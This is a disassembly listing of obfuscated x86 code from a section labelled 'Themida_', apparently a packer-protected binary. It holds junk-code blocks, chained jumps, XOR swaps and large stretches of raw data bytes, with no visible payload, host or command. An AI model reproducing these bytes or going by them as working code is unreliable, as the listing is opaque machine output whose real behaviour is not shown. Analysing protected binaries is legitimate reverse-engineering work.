dd 24148B66h, 5302C483h, 0B3536650h, 0E9D888BAh, 0FFFF7175h
; ---------------------------------------------------------------------------
loc_55F8F8: ; CODE XREF: Themida_:0056223Cj
add esi, edx
add esi, 4AAC058Fh
jmp loc_555196
; ---------------------------------------------------------------------------
db 29h, 6Ch, 24h
dd 246C8104h, 613EF404h, 2434FF72h, 0FF1DE5E9h, 246C81FFh
dd 7E168D04h, 246C8179h, 8B5AEB04h, 245C2963h, 24448104h
dd 8B5AEB04h, 24448163h, 7E168D04h, 0DBBA5279h, 81466B71h
dd 0EE08246Ch, 81463668h, 0E1082444h, 29572F33h, 0E9082454h
dd 0FFFFB99Bh, 250DE950h
db 2 dup(0)
word_55F962 dw 0FF66h ; DATA XREF: Themida_:0054FD04o
dd 5ADE932h, 0EA81FFFFh, 42817BACh, 0FFD32DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F975: ; CODE XREF: Themida_:0055BE5Cj
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_554BF0
; ---------------------------------------------------------------------------
db 0FEh, 0CFh, 80h
dd 0EF8087CFh, 8BFD30C4h, 8957241Ch, 4C781E7h, 83000000h
dd 3C8704C7h, 0F9685C24h, 8900005Eh, 0E9532414h, 0FFFF9071h
dd 64E99C50h, 5FFFF05h, 4B247765h, 652DD801h, 8B4B2477h
dd 0C483241Ch, 0E9D80104h, 0FFFF6634h, 3582F781h, 0DFF77EA8h
dd 0FFDA16E9h
db 0FFh
byte_55F9D9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FE58o
dd 5EE0E924h, 34FFFFFFh, 240C8B24h, 8304C483h, 7BE904C4h
dd 55000010h, 975E9h, 0C4835B00h, 0FFDA8904h, 34FF2434h
dd 7F07E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FA0A: ; CODE XREF: Themida_:0055DD62j
pop ecx
jmp loc_55EFE0
; ---------------------------------------------------------------------------
dd 8704C383h, 0E95C241Ch, 0FFFFDD01h, 7BE9D129h
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FA23: ; CODE XREF: Themida_:005616FEj
push dword ptr [esp]
pop eax
jmp loc_553817
; ---------------------------------------------------------------------------
aYasrq db 'YAéàQ',0
db 0
; ---------------------------------------------------------------------------
loc_55FA33: ; CODE XREF: Themida_:0055B9A1j
mov [esp], edx
push esp
pop edx
add edx, 4
push edi
mov edi, 4
sub edx, 0BDC42BFh
add edx, edi
add edx, 0BDC42BFh
pop edi
jmp loc_564B71
; ---------------------------------------------------------------------------
dd 0ED176A2Dh, 0B9515B29h, 6E501AE2h, 2414F751h, 0E6895659h
dd 5855E9h, 242C8900h, 45850BDh, 8BE8294Dh, 0C483242Ch
dd 240C8B04h, 0FF1C1AE9h, 0C0835DFFh, 24043304h, 0FF80ECE9h
dd 0F8055CFFh, 295A8960h, 60F82DE8h, 4B055A89h, 0E97BCA06h
dd 0FFFFC4DCh
; ---------------------------------------------------------------------------
loc_55FAAC: ; CODE XREF: Themida_:0055BE71j
add ecx, 6A6D6B6Ah
push 2C46h
mov [esp], edx
mov edx, 77C7193Bh
sub ecx, edx
jmp loc_558EDD
; ---------------------------------------------------------------------------
dw 0C581h
dd 7C8F1AA7h, 0A7CFE959h, 0C381FFFFh, 4, 8704EB83h, 895C241Ch
dd 8BBD242Ch, 0F72FA25Fh, 0F7E2E9D5h, 48FFFFFh, 24248B24h
dd 0FF243C89h, 8B042474h, 0E955243Ch, 29F2h, 0DA88C388h
dd 0D000585Bh, 0FF6AFEE9h, 1C183FFh, 668868h, 243C8900h
dd 4867BBBFh, 0E7BE5674h, 813D7A6Dh, 0BC5B27C6h, 95E95349h
dd 89FFFF0Dh, 0E789243Ch, 0FF6D83E9h, 39EA81FFh, 0E97D3271h
dd 0FFFF8BB6h, 4C181h, 99E90000h, 81FFFFD6h, 0CA04246Ch
dd 0E95BCB14h, 0FFFF3227h
; ---------------------------------------------------------------------------
loc_55FB60: ; CODE XREF: Themida_:005531ECj
push eax
jmp loc_5564D1
; ---------------------------------------------------------------------------
dw 0EC83h
dd 242C8904h, 7E466856h, 0F75E0218h, 64EE81D6h, 8140C30Eh
dd 0C061C5F6h, 0E9F589D3h, 1228h
; ---------------------------------------------------------------------------
loc_55FB88: ; CODE XREF: Themida_:00551DE9j
push dword ptr [esp]
pop ecx
push 6519h
mov [esp], ebx
jmp loc_554A6F
; ---------------------------------------------------------------------------
byte_55FB99 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FDECo
aHss db '$h‘S',0
align 2
dw 0C89h
dd 50E18924h, 4B8h, 0E9C10100h, 4BCCh, 7EC58145h, 57CBA3F0h
dd 9214A8BFh, 0E3F78158h, 0E9235812h, 2654h, 0E556C381h
dd 0BB53AA42h, 5D5476D0h, 1394EB81h, 0C6E93373h
db 72h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FBE3: ; CODE XREF: Themida_:00550B8Dj
sub al, 28h
add al, 14h
push 7506h
mov [esp], edx
mov dl, 42h
jmp loc_564CBB
; ---------------------------------------------------------------------------
loc_55FBF6: ; CODE XREF: Themida_:0056421Fj
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_55892E
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 1451B850h, 3B0D05DBh, 3521B94Ch, 0CC766ACh, 504E8C1h
dd 0FD6C3C55h, 0FF7D4EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FC2D: ; CODE XREF: Themida_:0055BDD0j
sub esi, 0C49DC7A6h
jmp loc_555D4A
; ---------------------------------------------------------------------------
dd 7A535CB9h, 98C58115h, 29156A34h, 98ED81CDh, 59156A34h
dd 2C8BEF01h, 4C48324h, 3C8BF821h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
or eax, eax
jz loc_55EE2F
push ecx
push esp
pop ecx
jmp loc_55DD42
; ---------------------------------------------------------------------------
db 5Ch, 0FFh, 34h
dd 2434FF24h, 4C48158h, 0E9000000h, 36F8h, 0E92434FFh
dd 0FFFF3031h, 405h, 40500h, 4870000h, 4D88E924h, 0C381FFFFh
dd 4, 8704C383h, 63E9241Ch
db 7Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FCB7: ; CODE XREF: Themida_:00564D6Bj
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_564F9C
; ---------------------------------------------------------------------------
db 0BAh
dd 1B755E53h, 2D5AD031h, 485AF8BCh, 0FF6A6BE9h, 755EBDFFh
dd 0E957169Dh, 0FFFF1EE7h
; ---------------------------------------------------------------------------
loc_55FCE8: ; CODE XREF: Themida_:0055AA0Ej
mov [esp], edi
mov edi, esp
jmp loc_55087D
; ---------------------------------------------------------------------------
dw 0FF53h
dd 0E9042474h, 64h, 5D2978BFh, 4CCF8119h, 0E9139F43h, 0FFFFEDA8h
dword_55FD0C dd 240C8B66h, 53E18951h, 0BD782368h, 241C8B31h, 0E904C483h
; DATA XREF: Themida_:0054FC98o
dd 0FFFFB2F1h, 104C483h, 9BBA52C5h, 8138D649h, 0D640DBCAh
dd 0C1D2F748h, 0C28104EAh, 454210CFh, 77EBCA81h, 0C28152D5h
dd 0C9C6896h, 8B5AD501h, 0C4832404h, 2C58304h, 0E9242C87h
dd 0FFFF9B46h, 0E92434FFh, 0FFFF6D18h
dword_55FD68 dd 0E9AA2CACh, 0FFFFB9C0h ; DATA XREF: Themida_:0054FC40o
; ---------------------------------------------------------------------------
loc_55FD70: ; CODE XREF: Themida_:005565B1j
mov ecx, [esp]
add esp, 4
mov bl, ah
jmp loc_564BBF
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 0CD20BBBDh, 0E9D5F71Dh, 0AA2h, 4C381h, 38E90000h, 5BFFFFDBh
dd 815BDD29h, 852E08F5h, 9AF5812Eh, 2D38224Dh, 6FB1A61h
dd 0FF196EE9h, 49F181FFh, 0F72F3A1Ah, 0E8C181D1h, 0E9588F7Ah
dd 0FFFFDE83h, 55E9DE29h, 81FFFFABh, 4C4h, 51F6E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FDD6: ; CODE XREF: Themida_:0055ADDEj
sub edx, 5CE2232Ch
mov ebx, [esp]
jmp loc_555AD1
; ---------------------------------------------------------------------------
loc_55FDE4: ; CODE XREF: Themida_:005500BDj
xor [esp], ebx
xor ebx, [esp]
pop esp
push ebp
jmp loc_556035
; ---------------------------------------------------------------------------
db 54h, 0E9h, 9Ch
db 7Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FDF7: ; CODE XREF: Themida_:0055006Cj
push dword ptr [esp]
jmp loc_5634EC
; ---------------------------------------------------------------------------
db 5Eh
dd 0FFBECAE9h, 4EC83FFh, 0B8240489h, 52AB5419h, 2AC3BA52h
dd 7E907A8h, 51FFFFA2h, 0EB88C588h, 50240C8Bh, 405E089h
dd 83000000h, 79E904C0h, 5600001Fh, 0C681E689h, 4, 0FF101CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FE41: ; CODE XREF: Themida_:00564935j
xor ebp, 36164825h
and edi, ebp
pop ebp
push edi
sub esp, 4
mov [esp], ebx
pop edi
jmp loc_553505
; ---------------------------------------------------------------------------
aBEixcsid db 'Å…¨xçéID',0
align 2
dw 3433h
dd 24343124h, 8B243433h, 0C4812424h, 4, 9C2404FFh, 0FF009AE9h
dd 0E9D5F7FFh, 201Ch, 42E9F529h
db 1, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FE8B: ; CODE XREF: Themida_:00555AB8j
mov edi, ebx
pop ebx
mov ecx, [esp]
add esp, 4
and eax, edi
mov edi, [esp]
jmp loc_55E510
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 57000000h, 3A10B951h, 0BE562924h, 1D7E5CDBh, 8247401h
dd 0AAB9515Eh, 0E97ACC70h, 1F3Fh
; ---------------------------------------------------------------------------
loc_55FEC4: ; CODE XREF: Themida_:005614E9j
mov esi, [esp]
add esp, 4
jmp loc_563C41
; ---------------------------------------------------------------------------
word_55FED2 dw 8B66h ; DATA XREF: Themida_:0054FC7Co
dd 47E92404h
db 4Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55FEDB: ; CODE XREF: Themida_:00556440j
sub edi, 5F886E3Eh
add edx, edi
pop edi
add edx, 4
xchg edx, [esp]
jmp loc_554675
; ---------------------------------------------------------------------------
loc_55FEEF: ; CODE XREF: Themida_:00553B80j
shr edi, 3
xor edi, 80E94EAAh
add ecx, edi
mov edi, [esp]
push ebp
jmp loc_562135
; ---------------------------------------------------------------------------
aPS db 'Pώ',0Dh,0
dd 5058FFFFh, 0E36868B4h, 0E9000064h, 0FFFF2C55h
; ---------------------------------------------------------------------------
loc_55FF18: ; CODE XREF: Themida_:0055035Cj
dec esi
and esi, 4DAC4122h
xor esi, 593B2C9Bh
or esi, 389B4423h
or esi, 635267D5h
sub esi, 7FDF6FFBh
add edi, esi
mov esi, [esp]
push eax
mov eax, esp
push ebp
mov ebp, 15223214h
jmp loc_5529FB
; ---------------------------------------------------------------------------
loc_55FF4A: ; CODE XREF: Themida_:0055CCF5j
add ebx, 4
jmp loc_55A94B
; ---------------------------------------------------------------------------
db 0B9h, 0, 16h
dd 0C1810221h, 0D6DE0C24h, 1A43E9h
db 0
; ---------------------------------------------------------------------------
loc_55FF65: ; CODE XREF: Themida_:00561283j
pop edx
jmp loc_55CFA1
; ---------------------------------------------------------------------------
loc_55FF6B: ; CODE XREF: Themida_:00559771j
xor bl, 43h
sub al, bl
pop ebx
push ecx
mov ch, 7Eh
xor ch, 59h
jmp loc_55E5D5
; ---------------------------------------------------------------------------
dd 3C6EB951h, 0ADE95A5Ah
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FF87: ; CODE XREF: Themida_:00561C64j
mov [esp], ecx
mov ecx, 7FA5EB3h
push ebx
push ebp
jmp loc_557DFC
; ---------------------------------------------------------------------------
loc_55FF96: ; CODE XREF: Themida_:00551004j
inc esi
sub esi, 4A0829B7h
add esi, 8E2E61AFh
add ebp, esi
pop esi
xor ebp, 0F96E4D72h
xor edi, ebp
pop ebp
mov eax, edi
jmp loc_5647ED
; ---------------------------------------------------------------------------
dw 0EBC1h
dd 5EBC107h, 2588CB81h, 0F3810306h, 2A8BC6EDh, 815BDE89h
dd 1C6h, 3DE68100h, 0E9245418h, 0FFFF151Ch, 64BC6859h
dd 14890000h, 7F64BA24h, 0EBE92089h, 66FFFFF8h, 663CA568h
dd 0B1240C89h, 2EC83DDh, 240C8966h, 0B5AFB450h, 8BE5300Bh
dd 0C4812404h, 4, 5966E828h, 8956C800h, 4C681E6h, 53000000h
dd 2BBh, 5BDE2900h, 31243433h, 34332434h, 2A77E924h, 0D1F6FFFFh
dd 8904EC83h, 57B7241Ch, 0E90BCF80h, 0FFFF019Ch, 5B66FD30h
dd 8904EC83h, 8E682404h, 0E9000012h, 0FFFF4658h
; ---------------------------------------------------------------------------
loc_56005C: ; CODE XREF: Themida_:005634D0j
mov ecx, [esp]
add esp, 4
push 353Ah
mov [esp], ebp
mov ebp, 1
jmp loc_55BB5F
; ---------------------------------------------------------------------------
loc_560077: ; CODE XREF: Themida_:00550B96j
push dword ptr [esp]
pop edx
add esp, 4
and ecx, 37172ECDh
not ecx
xor ecx, 5C0B20D8h
add ecx, 7C082A5Ah
sub eax, 1ED60F8Dh
add eax, ecx
add eax, 1ED60F8Dh
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_561B7B
; ---------------------------------------------------------------------------
dw 8159h
dd 4C1h, 82FFE900h, 0DCF6FFFFh, 0E903E4C0h, 44D9h, 6624248Bh
dd 2404AB0Fh, 4DF9E99Ch, 0CFBA0000h, 68185F7Fh, 0
dd 0FF2823E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5600E9: ; CODE XREF: Themida_:005599AAj
add bx, 7E92h
sub bx, 46CCh
movzx eax, ax
push eax
push 44F4h
sub esp, 4
jmp loc_55B843
; ---------------------------------------------------------------------------
db 55h
dd 4BDh, 246C0100h, 815D5D04h, 4C5h, 4C58100h, 33000000h
dd 21E9242Ch, 8BFFFFF1h, 91682404h, 0E9000018h, 0FFFFDAC3h
dd 8103EBC1h, 10DA4BF3h, 5BDF2973h, 7A0468FDh, 14890000h
dd 6B856824h, 82E96E89h, 83FFFF44h, 0BD5504C4h, 4, 70E9EB01h
dd 0D1FFFF32h, 95F781E7h, 0E9BB23E6h, 0FFFFD3B5h
; ---------------------------------------------------------------------------
loc_560170: ; CODE XREF: Themida_:005654D8j
add edi, esi
pop esi
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push esi
push ebx
mov ebx, 540D0FD9h
push ebx
add dword ptr [esp], 725A23B5h
pop esi
push ebp
mov ebp, 77E20499h
jmp loc_556407
; ---------------------------------------------------------------------------
dw 895Ch
dd 0EC832414h, 24248904h, 4BF57h, 0BE560000h, 5A440407h
dd 8247401h, 247C015Eh, 246C8104h, 44040704h, 34FF5F5Ah
dd 0C4815A24h, 4, 4C281h, 48E90000h, 54FFFF61h, 0FF5354E9h
dd 69C381FFh, 8173C87Fh, 5B5BAFF3h, 2A19E944h, 815AFFFFh
dd 4C4h, 0FFEA8100h, 81FFFFFFh, 1E5DF5EAh, 0E9D6892Ah
dd 3A84h, 5C243C87h, 0FF4801E9h, 81E589FFh, 4C5h, 4C58300h
dd 0E9242C33h, 45B0h, 0BE5016BBh, 0EB81436Eh, 66090E17h
dd 7F31F381h, 0DF014DE6h, 0BE56595Bh, 20F81422h, 8105EEC1h
dd 7C09DEEh, 8BF72901h, 0C4832434h, 9461E904h, 8F54FFFFh
dd 4812404h, 424h, 0C5815D00h, 4, 4BE56h, 0ED810000h, 0B833B3Eh
dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 4CB82404h
dd 0E9771E43h, 0FFFF60CEh, 7F3AE95Dh, 5B5AFFFFh, 0C8BEE88h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
jmp loc_559558
; ---------------------------------------------------------------------------
loc_5602B3: ; CODE XREF: Themida_:0055F69Dj
pop ecx
xchg eax, ecx
add eax, 2DB35169h
dec eax
not eax
sub eax, 1
inc eax
sub esp, 4
jmp loc_5523B5
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483240Ch, 73636804h, 2C890000h, 4EC8124h, 89000000h
dd 1CB9240Ch, 87374B57h, 0E9D5F7E9h, 4A46h
; ---------------------------------------------------------------------------
loc_5602F0: ; CODE XREF: Themida_:005625ACj
push 61343D60h
pop ebx
or ebx, 1CDF7A0Ah
push ecx
mov ecx, 38EA7BDEh
inc ecx
inc ecx
jmp loc_55C4B3
; ---------------------------------------------------------------------------
db 51h, 89h, 0E1h
dd 4C181h, 0E9830000h, 240C8704h, 0FF2ED4E9h, 0F8C681FFh
dd 0C12C6484h, 0F75605EEh, 0E95E2414h, 0FFFF1B9Ch, 1E1CC181h
dd 0D9290089h, 1E1CBD55h, 0E9290089h, 241C8B5Dh, 0E904C483h
dd 1B3Eh, 81240C8Bh, 4C4h, 0C9C68100h, 2901F743h, 0DA65E9CEh
dd 5055FFFFh, 384ACF68h, 87B2E912h, 1CF7FFFFh, 5392E924h
dd 48BFFFFh, 0EFC8E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56037E: ; CODE XREF: Themida_:0055D390j
add eax, edi
add eax, 54A30B71h
sub esp, 4
mov [esp], edi
jmp loc_552829
; ---------------------------------------------------------------------------
loc_560390: ; CODE XREF: Themida_:0055AEF5j
sub esi, 3B5B2804h
jmp loc_56051B
; ---------------------------------------------------------------------------
db 0F6h
aA_2 db 'Ý€Å',9,0
db 0E8h, 59h, 51h
dd 50661AB1h, 0E10868B4h, 50665866h, 0FFCC02E9h, 2BBD55FFh
dd 968A009h, 814F5DEFh, 0AE6DBAF7h, 5FFA01EFh, 26853h
dd 0E95B0000h, 0FFFF2B86h, 31240C33h, 0C33240Ch, 24248B24h
dd 2424D366h, 0FB2DE99Ch, 0BE56FFFEh, 4, 0E95EF701h, 0FFFF8609h
; ---------------------------------------------------------------------------
loc_5603F8: ; CODE XREF: Themida_:00550441j
mov [esp], eax
mov eax, 3EB2122Ch
not eax
not eax
push edi
push esp
pop edi
add edi, 4
sub edi, 4
jmp loc_565419
; ---------------------------------------------------------------------------
dd 83243C8Bh, 0C18304C4h, 74FF5104h, 8CE90424h, 89FFFFD0h
dd 0EC832414h, 24248904h, 4240483h, 4BD555Ah, 817A133Eh
dd 0FFFFFFC5h, 7EF6E9FFh, 15EFFFFh, 160705F0h, 685E0456h
dd 0ED9h, 0FF9D51E9h, 5FF901FFh, 8E9CE89h, 53FFFF21h, 5404EC83h
dd 6824048Fh, 75B7h, 0E9240C89h, 0FFFF2BCFh
; ---------------------------------------------------------------------------
loc_56047C: ; CODE XREF: Themida_:00560EACj
mov [esp], edx
mov edx, 75B23405h
push edx
sub dword ptr [esp], 611F3CB7h
pop esi
jmp loc_55C1C4
; ---------------------------------------------------------------------------
word_560492 dw 34FFh ; DATA XREF: Themida_:0054FCF0o
dd 2434FF24h, 8B2434FFh, 0C4832414h, 4C48104h, 68000000h
dd 188Dh, 0FF0A91E9h, 0D0E951FFh, 56FFFF8Bh, 0FF2C48E9h
dd 11E981FFh, 81FCFB17h, 8E39C3E9h, 0E9E9D15Fh, 0FFFFF8E1h
; ---------------------------------------------------------------------------
loc_5604D0: ; CODE XREF: Themida_:0055A91Bj
mov ebx, 32323D5Ch
sub eax, ebx
pop ebx
add eax, 27F4C38h
jmp loc_5626E3
; ---------------------------------------------------------------------------
dw 0EA81h
dd 914549Bh, 6FF5EA81h, 0B9517B0Dh, 5B0B0450h, 56D3B850h
dd 0C109235Bh, 8124048Bh, 4C4h, 0E9565700h, 0FFFF1876h
dd 1AE9D189h
db 17h, 2 dup(0FFh)
byte_560513 db 0FFh ; DATA XREF: Themida_:0054FC60o
a4S? db '4$é?',0Ah,0
db 0
; ---------------------------------------------------------------------------
loc_56051B: ; CODE XREF: Themida_:00560396j
add esi, edx
jmp loc_55B912
; ---------------------------------------------------------------------------
dw 815Bh
dd 485438CEh, 0FAB9515Ch, 110D204h, 240C8BCEh, 4C481h
dd 0DEE90000h, 66FFFFFDh, 7E34E581h, 53E95266h
db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56054B: ; CODE XREF: Themida_:005546E9j
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_562878
; ---------------------------------------------------------------------------
loc_56055B: ; CODE XREF: Themida_:0055F341j
push ecx
jmp loc_55573B
; ---------------------------------------------------------------------------
loc_560561: ; CODE XREF: Themida_:0055AA88j
sub esp, 4
mov [esp], esi
jmp loc_5608DE
; ---------------------------------------------------------------------------
loc_56056F: ; CODE XREF: Themida_:00557AE7j
push eax
jmp loc_55EC75
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 0A2CBB2B9h, 59C889DFh, 42E9C629h
db 12h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560587: ; CODE XREF: Themida_:00559CA7j
mov edi, 6F750945h
mov edx, edi
pop edi
sub eax, edx
jmp loc_5521E6
; ---------------------------------------------------------------------------
dw 0D2BBh
dd 0E955C804h, 0FFFFFD90h, 148BD001h, 0BA96E924h, 0C483FFFFh
dd 329FE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5605B2: ; CODE XREF: Themida_:0055D3DFj
sub bx, 4087h
sub bx, 32Ch
jmp loc_556073
; ---------------------------------------------------------------------------
loc_5605C1: ; CODE XREF: Themida_:0055E12Cj
push 77F67E17h
pop edi
jmp loc_5608BC
; ---------------------------------------------------------------------------
loc_5605CC: ; CODE XREF: Themida_:005616DCj
pop esp
jmp loc_564F75
; ---------------------------------------------------------------------------
dw 0CF31h
dd 0FF7BC9E9h, 180E68FFh, 2C890000h, 4A685124h, 5958FD62h
dd 8102E9C1h, 0C71340E1h, 0FFC18322h, 7105BB53h, 0C1434ED6h
dd 0E94304EBh, 0FFFFB4CBh, 42474FFh, 0FFAD00E9h, 240487FFh
dd 5BA525Ch, 315A067Eh, 2C34E9D5h, 2BA0000h, 1000000h
dd 34335AD6h, 1C8DE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56062E: ; CODE XREF: Themida_:00550D3Aj
xor [esp], eax
jmp loc_55745E
; ---------------------------------------------------------------------------
loc_560636: ; CODE XREF: Themida_:0055AB26j
push 3172h
mov [esp], edi
sub esp, 4
mov [esp], edx
jmp loc_558FD7
; ---------------------------------------------------------------------------
db 31h, 0C2h, 0E9h
dd 0FFFF610Dh
aQs db 'QéÁ(',0 ; DATA XREF: Themida_:0054FC88o
align 2
db '½',0
dd 0E9414C0Ch, 1E62h, 0DA88CB88h, 5788595Bh, 24148B38h
dd 0FFB4BCE9h, 37E95DFFh
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560677: ; CODE XREF: Themida_:00559A5Cj
mov esi, eax
jmp loc_55E523
; ---------------------------------------------------------------------------
word_56067E dw 28Fh ; DATA XREF: Themida_:0054FC38o
dd 0FEF892E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560685: ; CODE XREF: Themida_:00550D31j
push edi
mov edi, 7528753Fh
push ebp
mov ebp, edi
mov esi, ebp
pop ebp
mov edi, [esp]
add esp, 4
push edx
jmp loc_553405
; ---------------------------------------------------------------------------
db 5Dh, 2Dh, 54h
dd 8133290Ah, 791F64C6h, 81C6011Bh, 791F64EEh, 2434FF1Bh
dd 4C48358h, 4EE81h, 0FF560000h, 5E042474h, 0E924048Fh
dd 0FFFF53F7h, 3304C183h, 0C31240Ch, 240C3324h, 0E924248Bh
dd 4C60h, 816CEF68h, 0FE95E1Ch
db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5606EB: ; CODE XREF: Themida_:0055BB75j
add ecx, ebp
pop ebp
sub ecx, ebp
sub ecx, 605D20AFh
jmp loc_5552F8
; ---------------------------------------------------------------------------
db 0C1h
dd 15E903EAh
db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560703: ; CODE XREF: Themida_:00558CA8j
sub edx, edi
pop edi
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_552A9D
; ---------------------------------------------------------------------------
loc_560717: ; CODE XREF: Themida_:00559BD0j
shl esi, 5
dec esi
shr esi, 6
add esi, 23E64367h
mov edx, esi
jmp loc_554E99
; ---------------------------------------------------------------------------
db 68h
dd 3905h, 0B8240489h, 751A0E6Eh, 5604E0C1h, 45892BEh, 7AB9512Ah
dd 0E902585Fh, 0FFFFDF9Ah, 4EB8C181h, 0C1010D51h, 4EB8BA52h
dd 0C1810D51h, 2E3863F6h, 3AE9D129h, 83FFFF39h, 48904ECh
dd 3BE95224h, 8FFFFF62h, 335C2404h, 1C31241Ch, 241C3324h
dd 0FF52CFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560785: ; CODE XREF: Themida_:0055E2C8j
push edx
mov edx, 4278191Eh
add ebx, edx
pop edx
xor ebx, 0D2D5AE3Dh
mov ebp, ebx
pop ebx
mov ebx, 3E5B7EBCh
sub ebx, ebp
jmp loc_5569ED
; ---------------------------------------------------------------------------
loc_5607A3: ; CODE XREF: Themida_:00559999j
and eax, edx
jmp loc_554A9B
; ---------------------------------------------------------------------------
dw 1489h
aIth db '$‰âh',0Dh,0Dh,0
align 4
dd 56242C89h, 0B850E689h, 4, 0FF0009E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5607C5: ; CODE XREF: Themida_:00555784j
mov ebp, [esp]
add esp, 4
sub ecx, 77FE4DF1h
push ecx
push eax
mov eax, 4FC847D3h
add [esp+4], eax
pop eax
pop dword ptr [edi+24h]
push edx
jmp loc_560E37
; ---------------------------------------------------------------------------
dw 0C89h
dd 5CD7B924h, 0D1F71B46h, 0BCEBF181h, 0CD319D58h, 0FFE044E9h
dd 26C981FFh, 817E0901h, 1C1h, 2DF18100h, 1516B22h, 0C38159CBh
dd 7C2E4106h, 0BFE951h, 0E95FFFFFh, 0FFFEF6F3h
; ---------------------------------------------------------------------------
loc_560824: ; CODE XREF: Themida_:00551B45j
pop ecx
shl ebx, 6
dec ebx
jmp loc_55ABF3
; ---------------------------------------------------------------------------
dw 0BF57h
dd 4FE2536Ch, 0D5E9FD01h, 0FFFFFFD4h, 0E9042474h, 0FFFF2315h
dd 3C7568h, 24348900h, 8904EC83h, 0D3E9240Ch, 5AFFFFBCh
dd 515AD001h, 8904EC83h, 0D5BA2414h, 5664C15Dh, 4580E9h
dd 81D2F700h, 6C2E30EAh, 56D2F71Ah, 366C8BBEh, 5EF23192h
dd 61ABBA52h, 0D001649Bh, 2DD0015Ah, 649B61ABh, 0FFE22AE9h
dd 63C381FFh, 81394657h, 0C009BBEBh, 8F6634h, 0FF2B25E9h
dd 2FC781FFh, 0E9172F5Fh, 3C2Ah, 0E9241C89h, 0D39h
; ---------------------------------------------------------------------------
loc_5608BC: ; CODE XREF: Themida_:005605C7j
shr edi, 7
or edi, 52D34242h
and edi, 1B317EE5h
xor edi, 12316EE0h
mov ebp, edi
pop edi
add [esp+4], ebp
pop ebp
jmp loc_5640D3
; ---------------------------------------------------------------------------
loc_5608DE: ; CODE XREF: Themida_:0056056Aj
push edx
mov edx, 1AC95346h
inc edx
xor edx, 6542002h
jmp loc_55F274
; ---------------------------------------------------------------------------
dd 123311BAh, 5AD02943h, 5CDE68h, 24348900h, 2A685350h
dd 5B0B2619h, 0FFFFEB81h, 0DBF7FFFFh, 32C2C381h, 0D8897A3Ah
dd 5E18E95Bh, 3489FFFFh, 27D1E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_560926: ; CODE XREF: Themida_:0055E66Ej
push esi
mov esi, 536D6B53h
not esi
neg esi
jmp loc_5562B8
; ---------------------------------------------------------------------------
db 81h, 0F2h, 7Fh
dd 52524960h, 5A240CFFh, 0CFE5EA81h, 0A6E9E3F4h, 5C000045h
dd 0FFE87CE9h, 33368FFh, 3C890000h, 51E78924h, 4B9h, 59CF0100h
dd 4C781h, 3C870000h, 0F953E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_560972: ; CODE XREF: Themida_:0056361Cj
sub edi, 4
jmp loc_5503CD
; ---------------------------------------------------------------------------
loc_56097A: ; CODE XREF: Themida_:00551E54j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], ecx
push esi
mov esi, 38150652h
mov ecx, 578635DDh
jmp loc_550E65
; ---------------------------------------------------------------------------
loc_5609A5: ; CODE XREF: Themida_:005554EFj
push ebx
mov ebx, 2DFE6445h
sub [esp+4], ebx
pop ebx
pop ecx
add ecx, 2DFE6445h
pop eax
push ebx
mov ebx, 80h
and ecx, ebx
jmp loc_554615
; ---------------------------------------------------------------------------
db 52h, 0BAh, 0
dd 29000000h, 5AD789FAh, 0FF2A6EE9h, 68C328FFh, 5CAh, 52240489h
dd 885169B2h, 0CB8853D1h, 595BDC88h, 4ECC05Ah, 0E903ECC0h
dd 0FFFF2221h
; ---------------------------------------------------------------------------
loc_5609F8: ; CODE XREF: Themida_:00563069j
inc edx
add edx, 56D66B6Eh
push 27E2h
mov [esp], esi
mov esi, edx
mov edi, esi
pop esi
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_55EEC1
